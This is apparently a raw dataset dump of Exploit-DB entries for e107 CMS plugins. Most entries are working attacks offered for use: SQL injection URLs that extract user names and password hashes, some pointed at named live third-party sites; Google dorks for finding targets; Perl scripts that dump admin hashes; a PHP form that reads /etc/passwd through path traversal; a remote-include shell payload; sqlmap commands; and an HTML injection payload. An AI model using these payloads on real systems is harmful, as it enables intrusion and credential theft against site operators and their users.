deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37432
Description: e107 Image Gallery Plugin - 'name' Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-19
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54096/info

The Image Gallery Plugin for e107 is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in further attacks.

Image Gallery 0.9.7.1 is vulnerable; other versions may also be affected. 

http://www.example.com/e107_plugins/image_gallery/viewImage.php?name=../../../../e107_config.php&type=album
Exploit-DB #5459
Description: e107 module 123 flash chat 6.8.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-17
Author: by_casper41

Exploit:
###############################################################
#
# E107 Chat Module 123FlashChat Remote File Inclusion Vulnerability
#
#########################################################
#
# AUTHOR   : by_casper41
#
# Mekan       : Cyber-Warrior.Org
#
# MAÄ°L        : CWCasper@hotmail.com        
#
##########################################################
#
# Download: http://www.123flashchat.com/download/e107_mod_for_123flashchat_6.8.0.zip
#
##########################################################
# DORKS : "123flashchat.php"
##########################################################
#
# EXPLOITS :
# Http://localhost/path/123flashchat.php?e107path=Sh3LL
#
################################################################ 

# milw0rm.com [2008-04-17]
Exploit-DB #6849
Description: e107 Plugin alternate_profiles - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: boom3rang

Exploit:
#############################################################
e107 Plugin alternate_profiles (newuser.php?id) Remote SQL-injetion Vulnerability
#############################################################
[~] Author boom3rang
--------------------------------
[~] Site www.khg-crew.ws
--------------------------------
[~] Greetz KHG & H!tm@N & chs & redc00de & proxy-ki11er  & Hurley
--------------------------------
[!] Script Name: E107
[!] Plugin Vuln: alternate_profiles/newuser.php?id=
[!] Dork:  inurl:"/alternate_profiles/
#############################################################

---------------------------------------------------------------------------------------------------
[-] POC:
http://localhost/e107_plugins/alternate_profiles/newuser.php?id=[exploit]
---------------------------------------------------------------------------------------------------
[-] Exploit:
-9999+union+all+select+1,concat(user_name,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+e107_user/*
---------------------------------------------------------------------------------------------------
[-] LiveDemo:
http://briefcaseit.com/e107_plugins/alternate_profiles/newuser.php?id=-9999+union+all+select+1,concat(user_name,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+e107_user/*
---------------------------------------------------------------------------------------------------
#########################################
- United States of Albania
- Proud to be Albanian
- Proud to be Muslim
#########################################

# milw0rm.com [2008-10-27]
Exploit-DB #6856
Description: e107 Plugin BLOG Engine 2.1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-10-28
Author: ZoRLu

Exploit:
e107 Plugin macgurublog_menu macgurublog.php (uid) Remote Sql inj

author: ZoRLu

home: z0rlu.blogspot.com 

concat: trt-turk@hotmail.com

date: 28/10/2008

n0te: YALNIZLIK YiTiRDi ANLAMINI YALNIZLIGIMDA  : ( (

n0te: a.q kpss : ) )

dork: allinurl:"macgurublog.php?uid="

exploit:

http://localhost/script_path/macgurublog.php?uid=[SQL]

[SQL]=

-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*

example:

http://www.dmchat.org.uk/e107_plugins/macgurublog_menu/macgurublog.php?uid=-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*

thanks: str0ke

# milw0rm.com [2008-10-28]
Exploit-DB #5604
Description: e107 Plugin BLOG Engine 2.2 - 'rid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: Saime

Exploit:
[+] Author: Saime
[+] Script: e107 Plugin BLOG Engine v2.2 (rid) Blind SQL Injection
[+] URL: http://e107coders.org/download.php?view.1843
[+] Date: 13/05/2008
[+] Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed,GM,str0ke, and everyone else I forgot!
[+] Site: http://h4ck-y0u.org

[+] Vuln File: comment.php
[+] Line: 22-24
$rid = $_GET['rid'];
//blog entry echo
$sql -> db_Query("select ".MPREFIX."macgurublog_rec.*, blog_enable from ".MPREFIX."macgurublog_rec left join ".MPREFIX."macgurublog_main on (".MPREFIX."macgurublog_rec.blogrec_uid=".MPREFIX."macgurublog_main.blog_uid) where blogrec_id=".$rid.";");
[+] Exploit:
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=1-- // returns no errors
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and 1=2-- // returns error about unknown entry
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1 and substring(@@version,1,1)=4 // check the mysql version. if 4 returns error, try 5.
Since e107 uses diffrent table names it's almost impossible to write exploit for it. So I am suggesting to use sqlmap to use this vulnerabilty.
The command like should look like this:
./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "string which proofs the query is valid" -e "sql query"
Example:
./sqlmap.py -u "http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1" -p rid -a "./txt/user-agents.txt" -v1 --string "Saime" -e "<SELECT concat(username,0x3a,password) from e107_users where userid=1 limit 0,1>"
[+] Dork: inurl:/macgurublog_menu/
[+] Notes: Not to Turkish Warrior, good job on leaking CipherCrew exploits and submiting them as your own dumbass! ;)

# milw0rm.com [2008-05-13]
Exploit-DB #5666
Description: e107 Plugin BLOG Engine 2.2 - 'uid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-05-22
Author: Virangar Security

Exploit:
##################################################################################################
  #                                                                                                #
  # ::e107 Plugin BLOG Engine v2.2 (macgurublog.php/uid) Blind SQL Injection Vulnerability::       #
  #                                                                                                #          
  ##################################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)

-------vuln codes in:-----------
macgurublog.php:
line 18:$buid = $_GET['uid'];
..
..
line 31:$sql -> db_Select("user", "user_name", "user_id=".$buid);
---
exploit:
[-]note=becuse e107 using diffrent prefix/table names it's impossible to writting exploit for it :(

http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 2>1/*   #the page fully loaded

http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and 1>3/*   #page loaded whit any data and some error that say "The user has hidden their blog."

cheking the mysql version:
http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=5
or
http://site.com/e107_plugins/macgurublog_menu/macgurublog.php?uid=1 and substring(@@version,1,1)=4

# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...
---
young iranian h4ck3rz

# milw0rm.com [2008-05-22]
Exploit-DB #6346
Description: e107 Plugin BLOG Engine 2.2 - 'uid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-01
Author: Virangar Security

Exploit:
#!/usr/bin/perl 
##############################################################
# e107 Plugin BLOG Engine v2.2  SQL Injection Exploit        # 
#               ..::virangar security team::..               # 
#                    www.virangar.net                        # 
#         C0d3d BY:virangar security team ( hadihadi  )      # 
#special tnx to:                                             # 
#MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra              # 
#& all virangar members & all hackerz                        # 
# my lovely friends hadi_aryaie2004 & arash(imm02tal)        # 
#             ..:::Young Iranina Hackerz::..                 # 
############################################################## 
 
 
use HTTP::Request; 
use LWP::UserAgent; 
 
if (@ARGV != 1){ 
header(); 
} 
$site = $ARGV[0]; 
 
$attack= "$site"."?uid=-99999%20union%20select%201,concat(0x3c757365723e,user_name,0x3c757365723e,user_password),3%20from%20e107_user%20where%20user_ 
id=1/*"; 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n"; 
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); 
$req = $b->request(HTTP::Request->new(GET=>$attack)); 
$res = $req->content; 
 
if ($res =~ /<user>(.*?)<user>/){ 
        print "\n[+] Admin User : $1";} 
if ($res =~/([0-9a-fA-F]{32})/){ 
print "\n[+] Admin Hash : $1\n\n"; 
print "\n[+]Done\n";} 
 
sub header { 
print qq{ 
################################################################### 
# e107 Plugin BLOG Engine v2.2  SQL Injection Exploit             # 
#                      www.virangar.net                           # 
#   Useage: perl $0 Host                                          # 
#                                                                 # 
#   Host: full patch to macgurublog.php (dont forget http://)     # 
#                                                                 # 
#  Example:                                                       # 
# perl $0 http://site/macgurublog_menu/macgurublog.php            # 
#                                                                 # 
################################################################### 
}; 
} 
#virangar.net[2008-05-22] 

# milw0rm.com [2008-09-01]
Exploit-DB #6852
Description: e107 Plugin EasyShop - 'category_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: StAkeR

Exploit:
#!/usr/bin/perl
# ------------------------------------------------------------
# e107 (Plugin EasyShop) Remote Blind SQL Injection Exploit
# By StAkeR[at]hotmail[dot]it  
# Dork allinurl: e107_plugins/easyshop/easyshop.php
# Example http://www.clan-designs.co.uk
# easyshop/easyshop.php?choose_category=1&category_id= or 1=1
# easyshop/easyshop.php?choose_category=1&category_id= and 1=2
# ------------------------------------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;

my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);

my $host = shift @ARGV or die "[?] Usage: perl $0 http://[host]\n";
my @chars = (48..57, 97..102); 
my $http = new LWP::UserAgent;

for(0..32)
{
   foreach $ord(@chars) 
   {
      $send = " or ascii(substring((select user_password from e107_user where user_id=1),$uid,1))=$ord/*";
      $send = uri_escape($send);
    
      $request = $http->get($host."/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1".$send);
    
     if($request->is_success and $request->content !~ /No products available/i)
     {
        $hash .= chr($ord); 
        $uid++;
     }
   }
}

if(defined $hash)
{
   print STDOUT "[+] MD5: $hash\n";
   exit;
}
else
{
   print STDOUT "[?] Exploit Failed!\n";
   exit;
}

# milw0rm.com [2008-10-27]
Exploit-DB #6865
Description: e107 plugin fm pro 1 - File Disclosure / Arbitrary File Upload / Directory Traversal
Type: webapps
Platform: php
Date: 2008-10-29
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

e107 Plugin fm pro v1 Multiple Remote Vulnerabilities

I- Remote File Disclosure  / Write File 
/e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_edit_file&fm_filename={File}

II- Remote File Upload 
/e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_upload_file
You Can Upload PHP File 
Get File in site.com/{path e107}/[name your file - as - 020.php]

III- Local Directory Traversal
/e107_plugins/fm_pro_v1/fmp.php?fm_dir=e107_admin
And You Can [Rename] [Delete] [View] [Edit] Any Folder Or File


        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         


# milw0rm.com [2008-10-29]
Exploit-DB #6516
Description: e107 Plugin Image Gallery 0.9.6.2 - SQL Injection
Type: webapps
Platform: php
Date: 2008-09-21
Author: boom3rang

Exploit:
####################################################
e107 Plugin Akira Powered's "Image Gallery" Remote SQL-injetion Vulnerability
####################################################

#####################################
Author: boom3rang
Site: www.khg-crew.ws
Greetz: KHG & H!tm@N & chs & redc00de & proxy-ki11er  
Site: www.khg-crew.ws
#####################################


- Download Plugin:  http://www.akirapowered.org/download.php?view.73

- Dork:
inurl:image_gallery.php?page=image-detail

- POC:
http://www.site.com/e107_Path/image_gallery/image_gallery.php?page=image-detail&album=1&image=[exploit]

- Exploit:
-9999+UNION+SELECT+concat_ws(char(58),user_name,user_password)KHG+from+e107_user+where+user_id=1--

- Live demo:
http://www.ifitbleeds.net/e107_plugins/image_gallery/image_gallery.php?page=image-detail&album=1&image=-9999+UNION+SELECT+concat_ws(char(58),user_name,user_password)KHG+from+e107_user+where+user_id=1--



#########################################
- Kosova Hackers Group
- United States of Albania
- Proud to be Albanian
- Proud to be Muslim
#########################################

# milw0rm.com [2008-09-21]
Exploit-DB #6885
Description: e107 Plugin lyrics_menu - 'l_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-31
Author: ZoRLu

Exploit:
e107 Plugin lyrics_menu lyrics_song.php (l_id) Remote Sql inj

author: ZoRLu

home: z0rlu.blogspot.com 

concat: trt-turk@hotmail.com

date: 30/10/2008 ( saat 23:36 the_k@m!l'lerdeyim a.q :) )

n0te: YALNIZLIK YiTiRDi ANLAMINI YALNIZLIGIMDA  : ( (

n0te: a.q kpss : ) )

dork: allinurl:"lyrics_menu/lyrics_song.php?l_id="

exploit:

http://localhost/script_path/lyrics_song.php?l_id=[SQL1] or [SQL2]

[SQL1] = column number 15

-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+e107_user--

example 1:

http://www.mirage.org/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15++from+e107_user--

[SQL2] = column number 17

-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

example 2:

http://www.reklamadatbazis.hu/e107_plugins/lyrics_menu/lyrics_song.php?l_id=-1+union+select+1,2,3,concat(user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17--

thanks: str0ke

# milw0rm.com [2008-10-31]
Exploit-DB #5308
Description: e107 Plugin My_Gallery 2.3 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2008-03-25
Author: Jerome Athias

Exploit:
e107 My_Gallery Plugin Arbitrary File Download Vulnerability

Release Date: 2008-03-25
Critical: Moderately critical
Impact: Exposure of system information, Exposure of sensitive information
Where: From remote
Solution Status: Unpatched
Software: My_Gallery v2.3 (plugin for e107)
Link: http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.208

Description:

A photo gallery for e107, powered by Highslide JS script. with random
gallery menu and navigation menu.

+ User interface for uploads images
+ Pre-moderation users download
+ Control Panel, can edit the name and description, delete and move
+ New comment system, it is now the most opulent gallery
+ New Front page
+ Added BBcode and a button

Vulnerability:
Jerome Athias has discovered a vulnerability in My_Gallery plugin for
e107, which can be exploited by malicious people to disclose sensitive
information.

The vulnerability is caused due to an input validation error in
dload.php when processing arguments passed to the "file" parameter. This
can be exploited to download arbitrary files from the affected system.

The vulnerability is confirmed in version 2.3. Other versions may also
be affected.

Solution:
Edit the source code to ensure that input is properly validated.

Dork: inurl:"e107_plugins/my_gallery"

Provided and/or discovered by:
Jerome Athias, JA-PSI
http://www.ja-psi.fr

Other References:
https://www.securinfos.info


------------------------------------------------------------------
PoC:
http://target.com/e107_plugins/my_gallery/dload.php?file=dload.php

File is downloaded as a .jpg file but the PHP source code can be
retrieved using a text editor.

# milw0rm.com [2008-03-25]
Exploit-DB #9235
Description: e107 Plugin my_gallery 2.4.1 - 'readfile()' Local File Disclosure
Type: webapps
Platform: php
Date: 2009-07-23
Author: NoGe

Exploit:
<?php

/*

============================================
[o] e107 Plugin my_gallery 2.4.1 Exploit [o]
============================================

Bug [f]ound by NoGe - noge.code@gmail.com
Exploit [c]oded by Vrs-hCk - d00r@telkom.net

* Plugin my_gallery create photo gallery.
* Powered by Highslide JS script.
* With random gallery menu and navigation menu.
* Has a comment system, ratings and search of images.

Download e107 my_gallery 2.4.1 Plugin
http://code.google.com/p/e107mygalleryplugin/downloads/list


=============
[o] Usage [o]
=============

Web 2 XPL << fill with site who use e107 Plugin my_gallery
File 2 Read << fill with file or directory you want to read

Web 2 XPL : www.contoh.com
File 2 Read : /etc/passwd

Then Go!!!


==============
[o] Greetz [o]
==============

MainHack BrotherHood [ http://news.serverisdown.org ]
Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

FUCK TERORIS!!

*/

$vuln  = '/e107_plugins/my_gallery/image.php?file=';
$trasv = '/../../../../../../../../../../../../../../..';

echo "<form method=POST>
Web 2 XPL : <input type=\"text\" name=\"host\" size=30>
File 2 Read : <input type=\"text\" name=\"file\" size=30>
<input type=submit value=\"Go!!!\" name=\"_xpl\">
<br><br>";

if ($_POST['_xpl']) {
	$data .= "GET /{$vuln}{$trasv}{$file} HTTP/1.1\r\n";
	$data .= "Host: {$host}\r\n";
	$data .= "Connection: close\r\n\r\n";
	$html  = sendpacket($host,$data);
	print '<pre>'.htmlspecialchars($html).'</pre>';
}

echo "</form>";

function sendpacket($host,$data) {
	if (!$sock = @fsockopen($host,80)) {
		die("[!] Connection refused, try again!\n");
	}
	fputs($sock,$data);
	while (!feof($sock)) { $html .= fgets($sock); }
	fclose($sock);
	return $html;
}

?>

# milw0rm.com [2009-07-23]
Exploit-DB #8417
Description: e107 Plugin userjournals_menu - 'blog.id' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-13
Author: boom3rang

Exploit:
###################################################################
e107 Plugin userjournals_menu (blog.id) SQL injection vulnerability 
###################################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Remote SQL-injection
#[~] Google Dork   :  inurl:"userjournals.php?blog."
--------------------------------------------------   
#[!] Product Site  :  http://www.bugrain.com
#[!] Download CMS  :  http://www.e107coders.org/download.php?view.1402
#[!] Version       :  v0.7 or later
###################################################


[-] POC:
http://localhost/plugins/userjournals_menu/userjournals.php?blog.[exploit]

[-] Exploit:
-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--

[-] Exploit 2:
-9999 union all select 1,2,null,4,5,6,@@version,8,9,0,11,12,13--

[+] LiveDemo:
http://demo.infozonelab.com/plugins/userjournals_menu/userjournals.php?blog.-9999 union all select 1,2,3,4,5,6,user_password,8,9,0,11,12,13 from e107_user--


###########################
United States of Albania
Proud to be Albanian
R.I.P redc00de
###########################

# milw0rm.com [2009-04-13]
Exploit-DB #7184
Description: e107 Plugin ZoGo-Shop 1.15.4 - 'product' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-22
Author: NoGe

Exploit:
=========================================================================================


  [o] ZoGo-Shop e107 plugins 1.15.4 SQL Injection Vulnerability

       Software : ZoGo-Shop plugin version 1.15.4
       Vendor   : http://e107.org/
       Download : http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.89
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=========================================================================================


  [o] Vulnerable file

       e107_plugins/zogo-shop/product_details.php

        $product_ID=$_GET["product"];



  [o] Exploit

       http://localhost/[path]/e107_plugins/zogo-shop/product_details.php?product=[SQL]



  [o] Dork

       "Powered by ZoGo-Shop" or "e107_plugins/zogo-shop/product_details.php"


=========================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
=========================================================================================

# milw0rm.com [2008-11-22]
Exploit-DB #24138
Description: e107 Website System 0.5/0.6 - 'Log.php' HTML Injection
Type: webapps
Platform: php
Date: 2004-05-21
Author: Chinchilla

Exploit:
source: https://www.securityfocus.com/bid/10395/info

It is reported that e107 website system is prone to a remote HTML injection vulnerability. This issue is due to a failure by the application to properly sanitize user-supplied input.

The problem presents itself when a user supplies malicious HTML or script code to the application using a URI parameter of the log.php script. The application stores the injected HTML code, which is then rendered in the browser of an unsuspecting user whenever the log page of the affected site is viewed.

http://www.example.com/e107_plugins/log/log.php?referer=code<br>goes<here>&color=24&eself=http://www.example.com/stats.php&res=1341X1341